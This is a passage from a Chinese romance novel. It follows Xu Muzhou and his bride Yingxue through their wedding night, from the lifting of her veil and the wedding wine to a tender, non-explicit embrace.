未等喜婆开口回答，他便直接说道：“行了，后面的流程我都清楚，你也下去吧。”
那喜婆是个极守规矩之人，听到这话后，依旧站在原地纹丝未动，说道：“这可不合规矩，交杯酒还没喝呢。”
这时，双喜赶忙走上前来，将一个鼓鼓囊囊的大红包递给喜婆，陪着笑脸说道：“您放心，掀盖头、喝交杯酒这一样样的流程，我们是一样都不会落下的。只是我家世子爷一向不喜欢有旁人在旁边打扰，您就出去吧。”
喜婆无奈地看了看许牧舟，见他的脸色已隐隐有些不耐烦，只好连连点头，接过红包后便退了下去。
见喜婆出去，双喜也朝着门外走去，临出门时，扭头对许牧舟满脸堆笑地说道：“爷，新房里已经没旁人了。”说罢，还贴心地替许牧舟把房门给关好。
许牧舟难得对双喜有了个好脸色。
此时，屋子里就只剩下许牧舟和映雪两个人了。一时间，静谧的氛围在屋内蔓延开来。映雪心里紧张得很，两只手不自觉地紧紧攒在一起，只感觉手心湿漉漉的全是汗。
许牧舟伸手拿起旁边放置的喜秤，轻轻挑开映雪的盖头。
刹那间，映雪那张绝美脸庞就呈现在眼前。
就在这一瞬间，许牧舟的眼里满是惊艳之色。
映雪本就生得极为美貌，只是她平日里气质出众，且独特的风华常常让人们在看到她时，先是被她的气质吸引，从而忽略了她的美貌。
而今日的她，身着一身艳丽的大红嫁衣，更是美得惊心
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动魄。许牧舟就这么直勾勾地看着，眼睛都舍不得挪开一下。
映雪微微抬头，一下子就瞧见了许牧舟眼底的惊艳，那目光太过炽热，映雪的脸一下子就羞得通红。
紧接着，许牧舟身子微微前倾，附在映雪的耳边，轻声说了一句话。这话一入耳，映雪的脸更红了，就像熟透的苹果，她又羞又恼地狠狠朝许牧舟瞪了一眼。
许牧舟却笑得更为开怀，笑声如泉声般悦耳。
随即，许牧舟的脸在映雪的瞳孔中迅速放大，映雪的心顿时如同擂鼓一般，跳动得极快。许牧舟或许是顾虑到映雪可能会不适应，只见他动作极为迅速，蜻蜓点水般在映雪的唇上轻轻一啄。那一瞬间的触碰，似有电流从接触之处传遍映雪全身，让她的脸瞬间羞红到了耳根。
许牧舟双臂一紧，紧紧地搂住了映雪，那力道像是要把映雪揉进自己的身体里。他的声音中满是深情与喜悦，说道：“娘子，为夫今日总算是将你迎娶进门了，这一天为夫可是盼了许久。”
待喝了交杯酒，许牧舟便陪着映雪吃了些许食物，随后便准备沐浴。映雪不禁诧异道：“你不用出去陪酒吗？”
许牧舟眉梢一挑，嘴角带着一抹似有若无的笑意，说道：“今日可是我们的大喜日子，为夫自然是要好好陪着你。至于陪酒之事，有老头子在呢。”
映雪顿时有些无语，心中暗自腹诽，也就许牧舟能想出这样的主意，居然把自己的父亲拉出去挡酒。不过，映雪并不知道，景阳侯那可是心甘情愿的。景阳侯此时心里正打着小算盘呢，他只盼着祖先们看到他如此卖力为子孙后代着想的份上，能让许牧舟争点气，最好今晚就能让映雪怀上孙儿孙女。
红烛摇曳闪烁，将新房映照得满是喜庆的红色。
许牧舟沐浴完毕，映雪抬眸瞧去，只见许牧舟那身大红色锦缎里衣将他的潇洒俊逸彰显得淋漓尽致。映雪的目光触及，心中像是突然闯入了一只小鹿，乱撞个不停，脸颊也不由自主地泛起了红晕，那红晕如同天边的云霞，一点一点晕染开来，从脸颊蔓延到耳根，连白皙的脖颈也染上了淡淡的绯色。
许牧舟轻笑出声，拦腰抱起映雪，朝床榻走去。
将映雪轻轻放在绣着鸳鸯戏水的锦被上，轻抚着映雪的娇颜，眼神炙热，里面燃烧着一股浓浓的欲望。
映雪瞧着，愈发脸红，不敢直视，下一个瞬间，许牧舟便将身子压了上来，映雪不安，有些闪躲。
许牧舟却不容映雪躲避，直接吻上映雪的唇角，轻柔却不失霸道，映雪渐渐地迷失在他的亲吻中，不由自主的回应道。
许牧舟高兴不已，一双手游走在映雪的衣襟上，呼吸却越来越急促。
吻，也从唇角离开，移到脸颊，耳朵，脖子....
映雪只觉得身体软得像水，酥麻感从脚底蔓延，小脚趾都发麻了。
她紧紧回抱住许牧舟，微睁双眼。
眼前的许牧舟，眼眸深邃似夜空，满是深情与炽热。映雪目光下移，见他胸膛微微起伏，心跳剧烈，这个男人是她今生的伴侣，不管未来如何，此刻，映雪心中只有一个念头，那便是好好珍惜眼前人。